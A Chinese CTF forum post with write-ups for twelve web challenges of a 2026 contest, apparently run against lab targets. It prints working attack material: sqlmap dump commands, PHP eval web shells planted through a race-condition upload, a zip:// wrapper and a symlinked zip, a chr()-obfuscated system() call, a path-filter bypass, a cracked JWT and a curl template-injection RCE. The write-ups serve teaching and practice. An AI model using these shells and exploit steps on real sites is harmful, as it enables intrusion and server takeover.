赛博潇湘CTF论坛

    • 注册
    • 登录
    • 搜索
    • 版块
    • 最新
    • 话题
    • 热门
    • 用户
    • Wiki
    • 靶场

    PolarD&N CTF2026春季赛web方向WP(全)

    Web
    1
    1
    20
    正在加载更多帖子
    • 从旧到新
    • 从新到旧
    • 最多赞同
    回复
    • 在新帖中回复
    登录后回复
    此主题已被删除。只有拥有主题管理权限的用户可以查看。
    • Light_PolarisCN
      Light_PolarisCN 站长 最后由 Light_PolarisCN 编辑

      3-1 sql_search
      直接用sqlmap爆出所有的表
      sqlmap -u http:///?search=1 --tables --drop-set-cookie
      7c4fe322-d52b-407b-b9a9-238b3b55a4e0-image.png
      猜测是在flagggggggg表中
      sqlmap -u http:///?search=1 -T flaggggggggggg --dump --drop-set-cookie
      03fcc3a1-f753-451c-8cb0-70db6f083ea5-image.png

      3-2 The_Gift
      这道题是PHP变量覆盖漏洞。代码中foreach循环使用key=key等价于 $ config['isAdmin']='true',把原对象覆盖为数组。最终判断条件满足,输出Flag。访问/?config[isAdmin]=true即可获取。
      9d6dbce0-b912-4e30-ba33-3dd87586a18b-image.png

      3-3 并发上传
      此题发现一个上传文件的地方,结合题目名字,利用条件竞争
      使用<?php phpinfo(); fputs(fopen('1.php','w'),'<?php phpinfo(); eval($_REQUEST[1]);?>');?>,执行后可以写入一个1.php文件,从而有一句话木马。
      6ae33003-06aa-4634-987d-9e1c3c4dba84-image.png
      利用bp不断上传,不断访问,如下图显示上传成功。
      bc7f49ad-3a23-48aa-95c4-6beb69166127-image.png
      蚁剑连接后即可
      8643320a-924b-4095-83fb-6b34a700282a-image.png
      建议参考:https://blog.lololowe.com/posts/434b/

      3-4 杰尼龟系统
      用cat打开即可
      7cb8a441-54f2-44e3-bd67-73a2a6c28199-image.png

      3-5 Signed_Too_Weak
      登录后发现网址中key为jwt.token
      http://01c83b31-3254-4f77-96fc-a84dd7ec2081.www.polarctf.com:8090/index.php?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3NzQyNjkxMTksImV4cCI6MTc3NDI3MjcxOX0.ieerVYPbYDUowpGaQNEkg82lbUxL-ijimTAVz10xDgM
      破解密钥为polar
      09084415-e220-47f4-90ba-6c58e0593279-image.png
      7aa6dd04-f939-4d46-9bc6-75c19570746c-image.png

      3-6 Pandora_Box
      89e55ec7-ec7d-4f6e-ae7e-7cab129940a7-image.png
      根据这个可知我们访问文件会在后面强制加上.php
      于是想到伪协议zip://上传压缩包解压文件上传木马
      将一句话木马压缩进压缩包,后缀改为.png
      因为zip://的特性仍可以解压
      上传后用/?file=zip://upload/3ef4b7eae3892ed4a42fc6f02c78a4f8.png%23shell连接蚁剑即可
      4441a402-bc15-4a17-8fdd-e378dc26933b-image.png

      3-7 static
      由题可知:路径必须以static/开头。
      禁止危险协议(php://等)和编码(%2f等)。
      关键字(eval、system、../等)会被替换为空。
      我可以发现:
      过滤不彻底:hard_filter对../和关键字(如eval)的处理是替换为空,而非直接拒绝,导致可以构造特殊路径绕过。
      路径拼接逻辑:file被拼接.php后,realpath解析可能突破static/限制。
      构造 Payload:
      ?file=static/eval../flag
      7ff76049-3d60-47d7-b9ce-790654e68a8d-image.png

      3-8 云中来信
      由题目可知,此题为SSRF
      我们这题是@绕过
      一个完整的 URL 结构其实是这样的: 协议://用户名:密码@主机名:端口/路径
      根据题目名可知此为https://cloud.tencent.com/developer/article/2437306
      操作如下:
      64df7d43-ac32-428c-a6cf-7c526d9e5751-image.png
      9cebb982-6109-483b-939f-8c590ccbf7e1-image.png
      24ce8585-9c1d-44a5-9ea5-6e20cb3c58b9-image.png

      3-9 狗黑子最后的起舞
      dirsearch扫描发现如下
      e38860bb-85a4-48f6-ab45-21c036f330f8-image.png
      注册后的登录
      28f53868-b214-4a26-a956-add1da4a70f8-image.png

      登录后发现一个新目录
      525cb619-4381-4c3b-b956-f6672eeeee4a-image.png
      用dirsearch扫描得到
      dffd1866-d136-48c9-91ed-68c8dffca97c-image.png
      联想到.git泄漏(具体参考此文章git泄漏)
      用githcak后发现
      ec670124-344e-4fbf-b2e5-15fc545b5c66-image.png
      上传一个文件到etc文件夹下,然后对文件进行解压
      思路如下:
      我们需要想办法使得主目录中访问/etc中的文件,故使用软链接的方式实现

      因为没有上传页面,就要自己写一个
      9cfdad58-003b-4b1f-892d-9e3da06f5d2e-image.png
      上传文件,此处参考(赛博潇湘-gouhezi起舞) (PS:当然不是因为作者懒才引用别人的wp,嘿捏捏)
      第一个文件
      1.```bash
      创建软链接,让 ghz 指向网站根目录

      ```bash
      ln -s /var/www/html ghz
      
       带上 --symlinks 参数打包,这步极其关键!
      zip --symlinks 1.zip ghz
      

      第二个文件

      # 1. 删除刚才建的软链接,因为接下来我们要建一个真实的同名文件夹
      rm -rf ghz
      
      # 2. 创建真实文件夹,名字必须和软链接一模一样
      mkdir ghz
      
      # 3. 在文件夹里写入 PHP 一句话木马(密码为 cmd)
      echo '<?php @eval($_POST["cmd"]); ?>' > ghz/shell.php
      
      # 4. 正常递归打包文件夹
      zip -r 2.zip ghz/
      

      上传即可
      上传成功返回如下
      1389457a-6277-40ae-8009-6b241afaacfb-image.png
      然后连接蚁剑即可
      55efa100-b735-45f7-a8fb-01b8bff7ba4c-image.png

      3-10 coke的粉丝团
      注册后在52页有10级粉丝牌
      购买任意商品,抓包
      a8f5a39b-602d-4015-a30d-767a50b532ec-image.png
      修改后购买
      点击flag
      发现要admin
      1bca8dc8-4a10-4a4e-a1f7-8b784a293621-image.png
      抓包,破解jwt即可
      5a8b61bf-dad3-465f-98b2-bb42fb322a12-image.png
      011b6795-ee47-408b-8404-b849f53b3ef6-image.png

      3-11 GET
      我们访问robot.txt
      If it won't open, maybe try including each other and see.
      提示我们可以用双写文件后缀名绕过,上传php
      因为由内容检查,我们考虑用ascll码拼接变形,进行直接命令执行

      <?php
       
      $func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
       
      $cmd = '';
       
      $cmd_chars = [108,115];
      foreach($cmd_chars as $ascii) {
          $cmd .= chr($ascii);
      }
       
      @$func($cmd);
      ?>
      

      640c2088-7fef-4ec2-ade7-0d0faad3917b-image.png
      修改此处执行命令

      后来我们在主目录发现可疑文件
      d61f0eea-025f-4919-86aa-f92e13bedf94-image.png
      用cat读取在源码中发现flag
      88e286ea-2cda-40cb-8315-95e5bc4f12a4-image.png

      3-12 新年贺卡
      分析源码可知这是任意文件写入+模板注入导致RCE
      fd5e0044-0563-418c-9033-b888877439a8-image.png
      直接写入用户提交的内容
      具体操作入下:
      1.访问以下URL获取模板添加表单:
      http:///?action=admin&debug=/%20*/_form
      2.使用curl提交恶意PHP代码:
      curl -X POST "http:///?action=admin&debug=add_template"
      -d "template_name=shell"
      -d "template_content=<?php system($_GET['cmd']); ?>"
      使用此链接执行命令,http:///templates/shell.php?cmd=cat /flag.txt 即可得到flag

      总结:
      此比赛较为基础,考察对基础知识的扎实程度。
      通过这次比赛可以看出仍要对php伪协议,变形木马,linux命令做进一步了解。
      对此我要吟诗一首:

      沙场鏖战破迷烟,
      比试方知技未全。
      靶上玄机深似海,
      场归勤垦筑基坚。

      总而言之:课旷少了(bushi

      1 条回复 最后回复 回复 引用 0
      • First post
        Last post
      Powered by NodeBB | Contributors